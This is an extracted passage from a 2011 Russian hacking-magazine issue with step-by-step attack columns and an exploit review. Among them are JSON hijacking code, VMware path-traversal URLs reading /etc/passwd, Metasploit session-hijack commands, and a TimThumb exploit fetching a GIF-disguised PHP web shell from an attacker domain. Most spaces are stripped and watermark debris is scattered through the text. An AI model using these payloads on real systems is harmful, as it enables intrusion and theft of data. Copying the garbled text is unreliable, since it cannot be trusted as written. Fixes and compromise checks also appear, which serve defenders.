ВЫЖАТЬМАКСИМУМИЗXSS
РЕШЕНИЕ
ЯхочунемногоповедатьоShelloftheFuture.Ксожалению,
этовсеголишьэкспериментальнаяразработка,такчтопокакратко. ВHTML5появляетсятакаявещь,какCOR—Cross-originrequests. Сихпомощьюбраузерысмогутпосылатькросс-доменныевызовы иполучатьответы,еслисерверэторазрешит.Витогеможнобудет туннелироватьHTTP-трафик.Поидееэтовыглядиттак:
1.ЖертвапереходитпоссылкесXSS.
2.XSSподгружаетнагрузку—шелл(ShelloftheFuture).
3.МыразрешаемнасвоемсервереприемтакихCOR’ов.
4.ШеллотслеживаетдействияпользователяиотправляетихСОR’ами.
5.ВCOR-ответымыкладемнеобходимыедлявыполнениякоманды.
6.НашшеллчитаетответыСОRивыполняетнеобходимыедействия.
Допятогопунктавсеработаетпрямосейчас.Посутиосновная фича—этовозможностьобработкиответовJavaScript’ом.Витогемы получаемреверсовыйhttp-шелл.
Технологиидвижутся.Чтосамоестрашное—можноползатьпо атакуемомусайтуотименинашейжертвывсвоембраузере.Ноздесь уженепомогутниframebusting,низащитакукисовфлагамиHttpOnly/ Secure.Авторэтогочуда—ЛавакумарКуппан.Еслиинтересноуглу-
биться,рассмотретьтонкостиипопрактиковаться—www.andlabs.org/
ShelloftheFuture:официальнаясхема
tools/sotf/sotf.html.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ЗАДАЧА
УКРАСТЬКОНФИДЕНЦИАЛЬНУЮИНФОРМАЦИЮ
ЗАДАЧА
РЕШЕНИЕ
Вданнойзадачкеяхочурассказатьотакойвещи,какJSON Hijacking.Ихотясейчасэтатехниканеслишкомактуальна,мне оченьзахотелосьрассказатьоней,таккаконаиспользуетдовольно интересныеинестандартныеподходы.Итак,напомню:JSON—это текстовыйформатобменаданными,основанныйнаJavaScriptи используемыйсейчасвосновномвAjax-приложениях.JSONHijacking
—посути,этоподвидCSRF(Cross-siterequestforgery),вовсяком случаеоснованнанем.
Предположим,унасестьсервер,которыйприотсылкенаhttp:// server/secret-info.jsonGET-запросаизучаетнашикуки(например),и еслиониимеютопределенноезначение,возвращаетконфиденциальнуюинформацию:
["aaaa", "password"]
ТакаяситуацияиназываетсяCSRF—ведьсервернепроверяетни- чего,кроменаличиякукисов,имыможемподделатьзапрос,например, разместивналюбойстраницевинтернетеследующийкод:
<script src=http://server/secret-info.json>
Приобработкетакойстраницыбраузеротправитзапроснасервер иполучитсекретныеJSON-данные.Новотбеда—этоженекод JavaScript,амассивJSON,ибраузер,понятноедело,несможетего исполнить.Какженамполучитьотсюдаданные?Решениележитв том,чтобыпереопределитьвJavaScriptпонятиемассивавфункцию следующимобразом:
<script type="text/javascript">
var secrets;
Array = function() { secrets = this;
};
</script>
ТеперьполучаемыйссерверамассивJSONбудетобрабатываться какфункция,возвращающаязначение.Дляизвлечениязначенийпотребуетсяследующийскрипт.
//делаем GET-запрос и получаем JSON
<script src="http://server/secret-info.json" type="text/javascript"></script>
//Вынимаем данные из функции (бывшего массива) <script type="text/javascript">
var yourData = ''; var i = -1; while(secrets[++i]) {
yourData += secrets[i] + ' ';
}
alert('Украдено: ' + yourData); </script>
Витогеполучаетсяследующаяситуация.Мысоздалиспециальную страницу,которуюможемразместитьгдеугодновинтернете.Жертва заходитнанашустраницу,иприусловии,чтоонааутентифицирована науязвимомсервисе,мыполучимконфиденциальныеданныесэтого сервера.ВкачествепримераможновспомнитьзнаменитыйбагвGmail, которыйздоровонашумелв2006году:тогдаможнобылополучать списокконтактовпользователяичитатьегопочту.
Ксчастьюиликсожалению,сейчасданныйметоднеработает:на уровнебраузеровзапрещенавозможностьпереопределенияArray. Хочешьпроверить,чтобагработает,—ищибраузервременFirefox2.0.
044 |
ХАКЕР 10/153/2011 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
EASYHACKw Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ПОЛОМАТЬВИРТУАЛКИПОДVMWARE
ЗАДАЧА
РЕШЕНИЕ
Виртуализация, виртуализация, виртуализация — сейчас этим уже никого не удивить. Со всей своей бородатостью, виртуализация сейчас активно проникает и успешно замещает существующие инфраструктуры в различных компаниях. Оно и понятно: есть масса плюсов — большое количество возможностей, глубокая гибкость, централизованное управление, снижение финансовых затрат. И упомянутая борода — как гарантия того, что большинство возможных проблем уже были кем-то решены.
Впрочем,естьитрудности.Думаю,всемпонятно,чтоесливзломщикуудастсяполоматьхостовуюОС,тосчитай,чтоивсележащиена нейгостевыесистемытожеужеего.Однакобылиипримерыбагов, прикоторыхспециальныйсплоитмог«сбегать»изгостевойОСв хостовую.Этореальнаяжесть:стоитполоматьоднумашинку—исчи- тай,тыпоимелвсюсеть.Примерподобноготакогосплоитаявидел толькоодин:авторомбылкто-тоизImmunity,ауязвимостьбылав видеодрайверах.
Ноэтоконкретныйхардкор.Чтожемыможемсделатьнапрактике?Всепримернотожесамое,толькогораздопроще.Давай вспомним,счеговсеначинается.Конечно,собнаруженияцелей, сфингерпринта.Итак,нашицелиэтоvSphere,ESX,ESXi,vCenter, Server.Простейшиегуглодорки:
intitle:"Welcome to Vmware ESX"
intitle:"VMware Management Interface:" inurl:"vmware/en/"
Далеепортскан:можновыделитьпорты902/903,ответственныеза удаленноеподключениекхостовойОСvmware-клиентомистандарт- ныйнаборпортовhttpсвеб-сервером«vmwarehttpd».Болеечеткий список—goo.gl/NdMfy.
Чтодальше?Хотяпортсканипоказываетнамверсиюхостовой машины,этооченьприблизительнаяинформация.VMwareпозволяет намузнатьточнуюверсиювплотьдономерабилда.Дляданнойцели янакрапалскриптдляnmap’а.Посвоейсути,ничегоэкстраорди- нарного:на443-йпортотправляетсяспециальносформированный SOAP-запрос,которыйипредоставляетнамнеобходимыеданные.
Теперь, когда мы точно знаем, кто наш противник, — переходим в наступление. В общем-то, здесь главное — «продукт» VASTO. Это набор модулей к Metasploit Framework от итальянских хакеров Клаудио Крисционе и Паоло Каналетти, которые были представлены на BlackHat 2010 (vasto.nibblesec.org). Набор позволяет произвести целый ряд атак на разнообразные системы виртуализации. Мы посмотрим несколько из них. «Установка» модулей проста до невозможности: разархивируем папку и кидаем все файлики в %msframework%\msf3\modules\auxiliary\vasto (у некоторых модулей есть жестко приписанные пути). Далее, если взламываемая
система старая (примерно 2009 года, ESX до версии 3.5), то отличная вещь для баловства это бага CVE-2009-3733. Суть — простейший траверсал директори на хостовой машине:
https://victim.com/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E
%2E/etc/passwd
Чтоэтодаетнам?ЗахватитьконтрольнадхостовойОСмыне можем,новотскачатьвсегостевушки—легко.Дляэтогочитаем/etc/ vmware/hostd/vmInventory.xmlисучетомэтихданныхопределяем путидоvmx’ов.
Изновенькогосразуможновспомнитьдругойвекторатаки, нацеленныйнаvCenter—системуцентрализованногоуправления большимколичествомвиртуалок.Вweb-сервереjettyдо6.1.16при- сутствуеттраверсал:
https://victim.com/vci/downloads/health.xml/%3F/../../../../../..
/../../../any_file
Черезэтотбагможнодобратьсядофайловссекретнымииден- тификаторамиклиентов(vpxd-profiler-*),которыеиграютроль своеобразныхкукисовдляобщенияклиентаvCenterссервером. Используютсяэтиидентификаторыспомощьюмодуляvmware_ session_rider.rb,входящеговкомплектVASTO.Последовательность действийтакова:
1.Черезтраверсалполучаемидентификатор.
2.ВMSF:
use auxiliary/vasto/vmware_session_rider set RHOSTvictim.com
set SOAPID 04D40C81-564E-4511-AC0D-D57FFA571E4E (это идентификатор)
run
3.ВvCenterклиенте(VIclient)указываемхост:127.0.0.1:9999.
4.Осуществляемподключение.
После этого, если идентификатор еще жив, произойдет подключение к vCenter’у, при этом работа в самом клиенте никак отличаться не будет. Так как идентификатор имеет довольно короткое время жизни (порядка 5 минут после выхода из системы), то в VASTO прилагается автоматизирующий все манипуляции файл — vmware_ autopwn.rb. Есть и еще несколько модулей под другие продукты как VMware, так и других разработчиков, но это оставим на самостоятельное изучение.
|
|
|
КлассическийпортсканESX4 |
ОпределяемточнуюверсиюпродуктовVMware |
ХАКЕР 10/153/2011 |
045 |
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
||||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
|
NOW! |
o |
|
||||
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
|
||||
|
|
|
|
to |
ВЗЛОМm |
/ОБЗОРЭКСПЛОИТОВ |
||||||
w Click |
|
|||||||||||
|
|
|||||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
|
df |
-xcha |
n |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
|
|
|
X |
|
|
|
|
|
|||
|
|
|
|
|
- |
|
|
|
|
|
d |
|
||
|
|
|
|
F |
|
|
|
|
|
|
t |
|
||
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
|
|
P |
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
BUY |
|
|
|||
|
iv(ivinside.blogspot.com)to |
|
|
|
|
|
||||||||
|
|
|
|
|
|
m |
||||||||
pikofarad(115612,дер.Краснаязвездочка,w |
д.1)Click |
|
|
|
|
|
|
|||||||
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Обзор
эксплоитов
Сегоднямыпокажемтебе,какзавалитьвражескийблогнаWordPress’е,каквозыметьвласть надлазернымипринтерамиHP,какнатянуть ничегонеподозревающихпользователей Firefox’а,атакжеприведемочередноеподтверждениетому,чтовэтихвашихлинуксах(с) тожеестьдырявыйсофт.
Удаленноевыполнениекода
1вWordPress’еTimThumb
CVSSV2 |
7.5 |
(AV:N/AC:L/AU:N/C:P/I:P/A:P)
BRIEF
ПлагинTinThumbиспользуетсямногимитемамивдвижкеWordPress ипредставляетсобойскрипт-утилитуtimthumb.php,котораяза- нимаетсямасштабированиемизображений.Гуглпоказываетоколо 40млнупоминанийэтогоскрипта,чтопозволяетназватьеговесьма популярным.Вначалеавгустаначаласьволнавзломов,связанных сэтимскриптом,дажеблогразработчикаэтойутилитыбылуспешно хакнутспомощьюбаги!Уязвимостьсуществуетиз-затого,чтоскрипт
позволяетзагружатьиисполнятьPHP-кодвпапкескешем.Итак,раз- беремся,чтожетутпроисходит.
EXPLOIT
Начнемстого,чтозакешироватьфайлможноспомощьютакогозапроса:
http://www.target.tld/wp-content/themes/THEME/timthumb. php?src=http://blogger.com.evildomain.tld/pocfile.php
046 |
ХАКЕР 10/153/2011 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
Обзорэксплоитовw Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Запускаемкалькуляторчерезбагувtimthumb.php
Слово«THEME»следуетзаменитьнаназваниетемы,нуитакдалее. Разумеется,невсётакпросто.Во-первых,кешироватьфайлыраз- решаетсянеслюбыхдоменов,атолькосдоверенных.Поумолчанию списокэтихдоменовпредставлентакиммассивом:
$allowedSites = array (
'flickr.com',
'picasa.com',
'blogger.com',
'wordpress.com',
'img.youtube.com',
'upload.wikimedia.org',
'photobucket.com',
);
Фейлздесьсостоитвтом,чтоссылкапроверяетсяфункциейstrpos такимобразом,чтоеслигде-либобудетвстречатьсятакаяподстрока, тоURLпройдетпроверку,чтоибылопродемонстрировановвышеобозначенномзапросе.Еслиленьзаморачиватьсясподдоменами,то можнопростозадействоватьпапкусименемразрешенногодомена.
Втораяфигнясостоитвтом,чтомыдолжныдатьпонятьскрипту, чтоонимеетделосизображением,анескаким-тотамPHP-кодом.Это достигаетсятем,чтовначалонашегофайламыпобайтововставляем какую-нибудькартинку,чтобыонатамвиселаповсемправиламфай- ловогоформата.Полезнобудетизучитьинфупоссылкеhttp://goo.gl/ We45j,тамобсуждаетсясозданиеминиатюрногоGIF-файларазмером в35байт.Итак,копируемэти35байтвфайл,апослених(!)размещаем произвольныйPHP-код—прием,вобщем-то,известныйиисполь- зуетсяоченьчасто.ВкачествеPoCавторомэксплоитаприведен следующийвариант:
\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00
\xFF\xFF\xFF\x00\x00\x00\x21\xF9\x04\x01\x00\x00\x00
\x00\x2C\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02
\x44\x01\x00\x3B\x00\x3C\x3F\x70\x68\x70\x20\x40\x65
ВыполнениеполезнойнагрузкивFirefox3.6.16
\x76\x61\x6C\x28\x24\x5F\x47\x45\x54\x5B\x27\x63\x6D
\x64\x27\x5D\x29\x3B\x20\x3F\x3E\x00
Этапростынянасамомделепредставляетизсебяпростейшую GIF-картинкусдописаннымвконцебонусомввиде<?php@eval($_ GET['cmd'])?>.Послескармливаниянашегофайласкриптуtimthumb.php егоможнобудетобнаружитьвпапке/wp-content/themes/THEME/cache/ и,чтосамоеглавное,безболезненнозапуститьегооттуда.Дополнитель- ноеописаниеможновзятьотсюда:www.exploit-db.com/exploits/17602.
TARGETS
WordPressTimThumbPlugin1.*—1.32
SOLUTION
Существуетнесколькорекомендацийпоповодурешенияэтойпро- блемы.Во-первых,обновление:вверсии1.34проблемаужерешена. Во-вторых,можнотупоудалитьэтотскрипт,убедившисьприэтом,что безнегоблогработаетнормально.В-третьих,рекомендуютудалить всестрокиизмассивасдовереннымидоменами,тоестьзаменить вышеупоминавшийсямассивна$allowedSites = array();.Такимобразом,скриптсможетработатьтолькослокальнымифайлами,чегов большинствеслучаевдостаточно.
Крометого,еслитыявляешьсявладельцемблоганаWordPress’е, тонепомешаетпроверить,непоимелилитебяспомощьюэтойбаги:
1.ЗалогиньсянасерверчерезSSH.
2.ПерейдивдиректориюсWordPress.
3.Выполникоманду«grep-rbase64_decode*».Есливрезультатах выдачиприсутствуютдлинныезакодированныестроки,то,возможно,тебяпоимели.
4.Такжеследуетпроверитьдиректорию/tmpнаналичиеподозрительныхфайловсрасширениямиtxtилиphp.
Множественныеуязвимостивпринтерах
2HPLaserJetPxxxxSeries
CVSSV2 |
7.8 |
(AV:N/AC:L/Au:N/C:C/I:N/A:N)
BRIEF
Ктобымогподумать:всоставеMetasploitFramework’апланомерно начинаютпоявлятьсяэксплоитыподаппаратноеобеспечениеразного рода.НаэтотраззатронутыбылипринтерыLaserJetфирмыHewlettPackard.Кажется,недалектотдень,когдабудутпоявлятьсяэксплоитыподмикроволновкиистиральныемашины.Сегодняжеподударпопалитепринтеры,гдеимеетсявозможностьуправленияпоСетичерез специальныйязыкPJL(PrinterJobLanguage).Путемформирования специальныхзапросовкпринтеручерезстандартныйJetDirect-порт 9100можнополучитьдоступкфайловойсистемепринтера,атакже посылатьпроизвольныекомандынаязыкеPJL.
EXPLOIT
ДвамодуляподпринтерыдоступнывсоставеMSFподименамиhp_ printer_pjl_traversalиhp_printer_pjl_cmd.Первыйихнихпозволяет
ХАКЕР 10/153/2011 |
047 |
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
||||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
|
NOW! |
o |
|
||||
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
|
||||
|
|
|
|
to |
ВЗЛОМm |
/ОБЗОРЭКСПЛОИТОВ |
||||||
w Click |
|
|||||||||||
|
|
|||||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
|
df |
-xcha |
n |
e |
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Схематическоеизображениеметодаheapspraying
получитьдоступкфайловойсистемепринтера.Опцииэксплоитане отличаютсяоригинальностью:
•RHOST—таргетныйадрес.
•RPATH—путьвудаленнойфайловойсистеме.
•RPORT—таргетныйпорт.
Читатьфайлыможнокомандой«!rFILE»винтерактивномрежиме, переходитьвкорневуюдиректориюкомандой«/»,акомандой«..»— наодинуровеньвверхпофайловойсистеме.Поееструктуре,кстати, можнозаметить,чтонапринтерахстоитнекаяюникс-подобнаяОС (типаLynxOS),аеслипрочитатьфайл/etc/passwd,можнообнаружить, чтовкачествекоманднойоболочкифигурирует/bin/dlsh.
ВтороймодульMSFпозволяетотсылатьпроизвольныеPJLкомандыпринтеру.ПомимоужепривычныхопцийRHOSTиRPORT, естьважныйпараметрCMD—собственнокоманда,отсылаемая принтеру.Внашемпримерефигурируеткомандачтенияфайла/etc/ passwd,хотянасамомделеихдостаточномного,прижеланииможно ознакомитьсясмануаломкэтомуязыкупоссылкеhttp://goo.gl/UKesp.
TARGETS
HPLaserJetPxxxxSeries,возможно,всепринтерыLaserJetсподдержкойуправленияпоСети.
SOLUTION
Наданныймоментрешенияпроблемынеобнаружено.
Firefox3.6.16OBJECTmChannelRemoteCode
3ExecutionExploit(DEPbypass)
CVSSV2 |
10.0 |
(AV:N/AC:L/Au:N/C:C/I:C/A:C)
BRIEF
Датарелиза:5августа2011года,автор:Rh0,CVE:CVE-2011-0065. Уязвимостьuse-after-freeвMozillaFirefox3.6.16,дающаявозмож-
ностьатакующемувыполнитьпроизвольныйкодвконтекстепользователя,запустившегобраузер,былаобнаруженаregenrecht’ом,аописываемыйздесьмодульдляmetasploit’асозданRh0.Сутьуязвимости заключаетсявтом,чтоmChannel,являющийсяэлементомOBJECT’а,
можетбытьосвобожденчерезметодOnChannelRedirect,принадлежащийинтерфейсуnsIChannelEventSink,врезультатеставвисящим указателем.Впоследствиионможетбытьповторноиспользован, когдабудетпроисходитьустановкаатрибутовданныхдляOBJECT’а.
Описываемыймодульдляmetasploit’аиспользуетвсвоейреализа- циитехникуheapsprayсROP-цепочкойдляобходамеханизмаDEPна WindowsXPSP3.
EXPLOIT
Использованиеранееосвобожденнойпамятиможетпривестикразличногороданеблагоприятнымпоследствиям,начинаяотискажения используемыхданныхдоисполненияпроизвольногокода.Впростейшемслучаеискажениеданныхможетпривестикповторномуис- пользованиюосвобожденнойсистемыпамяти.Ошибкиuse-after-free имеютдвеобщихииногдапересекающихсяпричины:
ОдинизпопулярныхпринтеровHP,подверженныхуязвимости
048 |
ХАКЕР 10/153/2011 |